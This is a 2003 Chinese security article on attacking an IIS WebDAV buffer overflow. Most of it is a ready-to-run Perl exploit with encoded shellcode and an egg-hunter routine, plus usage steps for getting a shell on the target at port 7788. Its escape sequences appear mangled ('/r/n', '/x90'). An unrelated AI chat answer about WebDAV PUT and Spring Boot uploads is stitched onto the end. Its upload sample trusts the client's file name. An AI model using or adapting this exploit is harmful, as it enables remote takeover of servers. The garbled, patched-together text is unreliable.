【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法


创建时间:2003-03-29
文章属性:原创
文章来源: http://www.xfocus.net
文章提交: isno (isno_at_sina.com)

by isno
    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的字符串缓冲溢出攻击技术》文章仔细看了一下,发现WebDAV漏洞原来也可以用jmp ebx地址作为返回地址来利用的。用这种方法,我又写了一个exploit程序,果然成功率提高了一些。
    首先,我们使用一个符合UNICODE转换的含有jmp ebx或者call ebx指令的地址来覆盖异常处理指针,这样发生异常以后会返回到前面4个字节处执行。我们就在地址前放上两个可以执行的指令0x51(push ecx)0x59(pop xxxx),这样保证可以正常的跳过返回地址。然后在后面放上一段解码指令,可以直接解码后面的可显示字符。这是一段搜索内存的代码,从内存中搜索到真正的shellcode,然后就跳到真正的shellcode去执行。
    具体的方法可以参见袁哥以前写的文章:
     http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=646
    搜索shellcode的代码如下:
       add esi, 1000h
       jmp loadmem
   lookupN:
       add esi, 4000h
   loadmem:
       mov eax, [esi]
       cmp eax, 4e4e4e4eh    ;搜索含NNNN的内存,提高搜索效率
       jnz lookupN
       add esi, 4
   lookupYXYX:
       mov al, byte ptr [esi]
       inc esi
       cmp al, 59h           ;在后面搜索YXYX,这是我们放在shellcode前面用来定位的
       jnz lookupYXYX
       mov al, byte ptr [esi]
       inc esi
       cmp al, 58h
       jnz lookupYXYX
       lodsw
       cmp ax, 0x5859
       jnz lookupYXYX
       jmp esi               ;搜索到以后就跳到shellcode去执行
    当然首先要把异常处理给接管了,这样搜索到不存在的页面的时候可以仍然跳回我们自己的程序去执行。
    修改以后的exploit程序如下:

-------------------------------------------------------------------
#!/usr/bin/perl
#use call ebx as the ret
#tested on CHINESE win2k sp2&sp3
#by isno@xfocus.org

use IO::Socket;
if ($#ARGV<1){die "webdavx.pl IP offset/r/noffset: 0-7/r/n";}
$host = @ARGV[0];
$port = 80;
$offset = @ARGV[1];

$decode =
"%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f".
"%u66ad%u4e3d%u7400%u9023%u612c%u5090%u6659%u90ad".
"%u612c%u548d%u7088%u548d%u908a%u548d%u708a%u548d".
"%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3".
"%u6099";
#decoder code
#66 bytes

$sc =
"ffilomidomfafd".
"fgfhinhnlaljbeaaaaaalimmmmmmmmpdklojieaaaaaaipefpainlnpeppppppgekbaaaaaaaaijehai".
"geijdnaaaaaaaamhefpeppppppppilefpaidoiahijefpiloaaaabaaaoideaaaaaaibmgaabaaaaaol".
"agibmgaaeaaaaailagdneoeoeoeohfpbidmgaeikagegdmfjhfpjikagegdmfihfpcggknggdnfjfihf".
"okppogolpofifailhnpaijehpcmdileeceamafliaaaaaamhaaeeddccbbddmamdolomoihhppppppce".
"cecece";
#code to find the real shellcode
#340 byes

$num = 266+$offset;
$bf = "A" x $num;
$ret = "%u5951%u6858%u6772%u695c" x 8; #call ebx addr 0x695c6772
$n = 64842;
$buf = "N" x $n;
$tag = "YXYX";
$shell =
    "/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90".
        "/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa".
        "/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36".
        "/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97".
        "/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14".
        "/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2".
        "/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14".
        "/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5".
        "/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1".
        "/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16".
        "/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68".
        "/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1".
        "/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94".
        "/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4".
        "/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68".
        "/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57".
        "/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4".
        "/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4".
        "/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5".
        "/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68".
        "/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67".
        "/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1".
        "/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf".
        "/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab".
        "/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0".
        "/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4".
        "/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0".
        "/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56".
        "/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7".
        "/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57".
        "/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4".
        "/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f".
        "/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xc0/xa4/x5e/xc6/xc7".
        "/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68".
        "/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f".
        "/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75".
        "/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0".
        "/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5".
        "/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2".
        "/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6".
        "/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97".
        "/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc".
        "/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb".
        "/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97".
        "/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2".
        "/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4".
        "/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97".
        "/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2".
        "/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97".
        "/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97".
        "/x68/x68/x68/x68";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!/n";
print $socket "LOCK /$bf$ret$decode$sc$buf HTTP/1.1/r/n";
print $socket "Host: $host/r/n";
print $socket "Content-Type: text/xml/r/n";
print $socket "Content-length: 808/r/n/r/n";
print $socket "$tag$shell/r/n";


print "send buffer.../r/n";
print "telnet target 7788/r/n";
print "if fail, try other offset(0-7)/r/n";

#$socket->recv($buf,500);
#print $buf;

close($socket);
-------------------------------------------------------------------

    使用方法是:
    webdavx2.pl 192.168.0.1 0
    然后telnet 192.168.0.1 7788试试看。
    这里设了一个offset,因为发现有些机器取出的路径不太一样,有的是//?/C:/Inetpub/Gtmis0/asp/,而有的是//?/C:/Inetpub/wwwroot/,就是WWW的根目录。所以你从0试到7看看,如果还不行的话就试试-1,-2,-3......:)如果还没成功就算了。
<think>嗯,用户问的是关于IIS WebDAV PUT和Spring Boot的内容。首先,我需要理解这两个部分各自的作用以及它们之间的关系。 首先,IIS的WebDAV扩展允许通过HTTP方法如PUT上传文件,PUT方法常用于上传资源到指定位置。但可能存在安全风险,比如文件上传漏洞攻击者可能利用PUT方法上传恶意文件。 然后是Spring Boot,作为Java框架,常用于构建Web应用。用户可能想知道如何在Spring Boot中处理文件上传,或者如何防范通过WebDAV PUT带来的安全威胁。 接下来,用户可能的实际需求是什么?可能是想了解如何配置IIS的WebDAV,或者如何在Spring Boot应用中安全地处理文件上传,或者两者之间的集成或安全问题。 需要分步骤解释:首先介绍IIS WebDAV PUT的作用和潜在风险,再讲Spring Boot如何处理文件上传,最后可能涉及如何结合两者或防范攻击。 另外,用户可能是在实际开发中遇到了相关问题,比如在IIS服务器上部署Spring Boot应用,然后遇到文件上传的安全问题,或者想了解如何安全地实现类似功能。 需要确保回答结构清晰,先讲IIS部分,再讲Spring Boot部分,然后可能的安全建议。同时注意使用正确的LaTeX格式,比如数学表达式用$...$,独立公式用$$...$$,但根据问题内容可能数学公式不多,但如果有示例代码或配置,需要适当格式化。 还要检查是否有技术细节错误,比如IIS中禁用WebDAV方法,Spring Boot的文件上传配置,安全措施如文件类型检查、大小限制、重命名等。 最后,确保用中文,口语化,但避免使用Markdown,分步骤说明,帮助用户逐步理解。</think>以下分步骤介绍IIS WebDAV PUT与Spring Boot的关系及注意事项: $\boxed{步骤1:理解IIS WebDAV PUT的作用}$ - IIS的WebDAV扩展允许通过HTTP方法(如PUT)进行文件管理 - PUT方法用于上传文件到服务器指定路径,例如: ```http PUT /uploads/test.txt HTTP/1.1 Host: example.com Content-Type: text/plain [文件内容] ``` - $\textcolor{red}{安全隐患}$:未正确配置时可能允许任意文件上传,导致服务器被入侵 $\boxed{步骤2:Spring Boot的文件处理机制}$ - Spring Boot通过MultipartFile处理文件上传: ```java @PostMapping("/upload") public String upload(@RequestParam("file") MultipartFile file) { String fileName = file.getOriginalFilename(); file.transferTo(new File("/safe/path/" + fileName)); return "上传成功"; } ``` - $\textcolor{blue}{与WebDAV的区别}$:Spring Boot默认不启用WebDAV协议,需显式实现文件操作 $\boxed{步骤3:安全防护措施}$ 1. IIS端防护: ```xml <!-- 禁用WebDAV(web.config配置) --> <system.webServer> <modules> <remove name="WebDAVModule" /> </modules> </system.webServer> ``` 2. Spring Boot端防护: ```properties # 限制上传文件大小 spring.servlet.multipart.max-file-size=10MB spring.servlet.multipart.max-request-size=10MB ``` 3. 通用防护策略: - 文件类型白名单验证 - 随机化存储文件名 - 设置文件存储目录不可执行 $\boxed{步骤4:典型应用场景}$ 当Spring Boot部署在IIS服务器时(通过反向代理): 1. 建议在IIS禁用WebDAV模块 2. 使用Spring Security加强权限控制 3. 通过Spring Boot的标准API实现安全文件上传 $$注意:实际部署时应遵循最小权限原则,定期进行安全审计$$
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值